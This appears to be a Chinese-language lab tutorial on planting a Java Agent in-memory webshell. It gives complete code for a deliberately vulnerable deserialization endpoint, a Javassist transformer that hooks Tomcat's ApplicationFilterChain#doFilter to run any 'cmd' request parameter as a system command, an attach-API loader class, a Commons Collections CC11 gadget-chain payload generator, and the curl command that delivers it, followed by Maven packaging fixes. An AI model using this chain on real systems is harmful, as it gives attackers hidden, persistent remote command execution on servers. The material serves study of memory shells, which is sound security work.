Agent MemShell

0x01 Preface

利用Java Agent可以动态修改类的字节码,由于实际环境中都是启动着的JVM,所以premain并不适用,而是利用agentmain来注入内存马。

接下来就得思考要修改哪个类的字节码了,对于这个类应该有如下要求:

  • 类中的方法一定会被执行

  • 改动后不影响正常业务

前面Filter内存马的Filter组件就挺不错

每次请求到达Servlet前都会经过FilterChain来对请求进行过滤,ApplicationFilterChain#doFilter一定会被调用

0x02 Env Build

SpringBoot搭建一个Commons Collections反序列化漏洞环境,再通过CC11把内存马打进去

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
package com.example.agent.controllers;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@RestController
public class Vul {
    @PostMapping("/cc11")
    public String cc11(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "Hello,World";
    }

    @GetMapping("/hello")
    public String hello(){
        return "hello agent";
    }
}

创建Agent:

import java.lang.instrument.Instrumentation;

public class MyAgent {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new DefineTransformer(), true);
        // 获取所有已加载的类
        Class[] classes = inst.getAllLoadedClasses();
        for (Class clazz : classes) {
            if (clazz.getName().equals(ClassName)) {
                try {
                    // 对类进行重新定义
                    inst.retransformClasses(clazz);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
}
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}
<build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-jar-plugin</artifactId>
        <version>3.1.0</version>
        <configuration>
          <archive>
            <manifest>
              <addClasspath>true</addClasspath>
            </manifest>
            <manifestEntries>
              <Agent-Class>MyAgent</Agent-Class>
              <Can-Redefine-Classes>true</Can-Redefine-Classes>
              <Can-Retransform-Classes>true</Can-Retransform-Classes>
              <Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
            </manifestEntries>
          </archive>
        </configuration>
      </plugin>
    </plugins>
</build>

mvn clean package

Evil.class 为用于注入jar的字节码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public Evil() throws Exception {
        super();
        try {
            String path = "E:\\MyAgent.jar";
            File toolsPath = new File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar");
            URL url = toolsPath.toURI().toURL();
            URLClassLoader classLoader = new URLClassLoader(new java.net.URL[]{url});
            Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            Method listMethod = MyVirtualMachine.getDeclaredMethod("list");
            List list = (List) listMethod.invoke(MyVirtualMachine);

            for (int i = 0; i < list.size(); i++) {
                Object o = list.get(i);
                Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName");
                String name = (String) displayName.invoke(o);

                if (name.contains("com.example.agent.AgentApplication")) {
                    Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id");
                    String id = (String) getId.invoke(o);
                    Method attach = MyVirtualMachine.getDeclaredMethod("attach", String.class);
                    Object vm = attach.invoke(o, id);
                    Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", String.class);
                    loadAgent.invoke(vm, path);
                    Method detach = MyVirtualMachine.getDeclaredMethod("detach");
                    detach.invoke(vm);
                    System.out.println("Agent Inject Success !!");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

发现一个问题:loadAgent只能寻找本地的Agent jar包吗?

  • 如果是,那么打Agent内存马还得先上传jar

  • 如果不是,能否加载远程的jar包

试了一下,好像真不能加载远程jar。。。。

Error opening zip file or JAR manifest missing: http://127.0.0.1:9999/MyAgent.jar

CC11 序列化数据生成:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static void getPayLoad(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "p4d0rn");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "xxx");

        outerMap.clear();

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(expMap);
        oos.close();

    }

    public static void main(String[] args) throws Exception {
        byte[] codes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        getPayLoad(codes);
    }
}

curl -v "http://192.168.0.106:8080/cc11" --data-binary "@./ser.bin"

控制台打印这些说明注入成功!

0x03 Trap

刚开始发现内存马没打进去,通过sout大法发现问题出现在ClassPool pool = ClassPool.getDefault(); ,根据之前的经验感觉可能是jar包里没依赖。

SpringBoot项目添加javassist依赖,发现内存马注入成功

原来用Maven的package没有把第三方依赖打进jar包,加入下面的插件就可以带上依赖

打包后有两个jar包,一个带jar-with-dependencies标签。

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-assembly-plugin</artifactId>
    <version>2.4.1</version>
    <configuration>
        <!-- get all project dependencies -->
        <descriptorRefs>
            <descriptorRef>jar-with-dependencies</descriptorRef>
        </descriptorRefs>
    </configuration>
    <executions>
        <execution>
            <id>make-assembly</id>
            <!-- bind to the packaging phase -->
            <phase>package</phase>
            <goals>
                <goal>single</goal>
            </goals>
        </execution>
    </executions>
</plugin>

但又有新问题了

com.sun.tools.attach.AgentLoadException: Agent JAR not found or no Agent-Class attribute

去看一眼META-INF/MENIFEST.MF,果然里面没有Agent-Class字段

仿照上一个插件,<configuration>下添加<archive>元素,指定manifestEntries

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-assembly-plugin</artifactId>
    <version>2.4.1</version>
    <configuration>
        <archive>
            <manifest>
                <addClasspath>true</addClasspath>
            </manifest>
            <manifestEntries>
                <Premain-Class>MyAgent</Premain-Class>
                <Agent-Class>MyAgent</Agent-Class>
                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                <Can-Retransform-Classes>true</Can-Retransform-Classes>
                <Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
            </manifestEntries>
        </archive>
        <!-- get all project dependencies -->
        <descriptorRefs>
            <descriptorRef>jar-with-dependencies</descriptorRef>
        </descriptorRefs>
    </configuration>
    <executions>
        <execution>
            <id>make-assembly</id>
            <!-- bind to the packaging phase -->
            <phase>package</phase>
            <goals>
                <goal>single</goal>
            </goals>
        </execution>
    </executions>
</plugin>

0x04 Summary

前面三种内存马(ListenerFilterServlet)是传统的Web应用型内存马,基于原生Servlet API实现的动态注册内存马。

而Agent内存马是通过Hook并修改关键方法添加恶意逻辑,需要落地Jar,再通过Attach API动态注入Agent到JVM中。

后面可能还要学习一下中间件型内存马ValveUpgradeExecutor,探索Tomcat的设计模式,以及框架型内存马Spring ControllerSpring Interceptor,体会Spring MVC对Servlet API的封装。

Last updated